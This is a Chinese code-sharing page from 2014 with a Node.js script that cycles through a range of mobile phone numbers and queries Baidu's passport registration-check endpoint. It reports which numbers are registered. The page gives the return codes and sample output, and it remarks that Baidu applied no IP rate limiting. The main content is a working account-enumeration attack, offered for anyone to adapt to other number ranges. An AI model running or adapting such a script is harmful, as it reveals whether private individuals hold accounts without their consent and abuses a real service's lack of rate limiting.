首页 > 代码库 > 查看手机号是否注册百度开发者
查看手机号是否注册百度开发者
/** * Created by **** on 2014/9/29. */ ‘use strict‘; var request = require("request"); var base = "1803283"; var phone = ""; for(var i=1000; i<9999; i++) { phone = base + i; var url = "https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone="+phone+"&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl"; doneReq(url); } function doneReq(url) { request.get(url, {}, function (err, resp, body) { if (err) { console.info(err); } else { console.info(url); console.info(body); } }); }
//如果要查看别的手机号段,直接把base 换掉就可以了;
原理:
在注册百度账号的时候,输入手机号,百度将提示手机号是否已经被注册
干脆直接弄了个node脚本帮大家伙跑一下,看你手机号注册没有,百度竟然都没做IP访问限制
测试地址 https://passport.baidu.com/v2/?reg&u=http%3A%2F%2Fdeveloper.baidu.com%2Fuser%2Freg
返回结果如下:0为没有注册, 13001已注册 ,400001已被绑定
https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839986&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839988&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839990&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839991&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839992&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839993&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839995&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839996&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839997&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "0" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839994&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "400001" }, "data": {}}) https://passport.baidu.com/v2/?regphonecheck&token=2007c2544a32232aa7b967ec56e1009d&tpl=&apiver=v3&tt=1411979255172&phone=18032839998&exchange=0&isexchangeable=1&callback=bd__cbs__xj4swl bd__cbs__xj4swl({"errInfo":{ "no": "" }, "data": {}})
查看手机号是否注册百度开发者
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。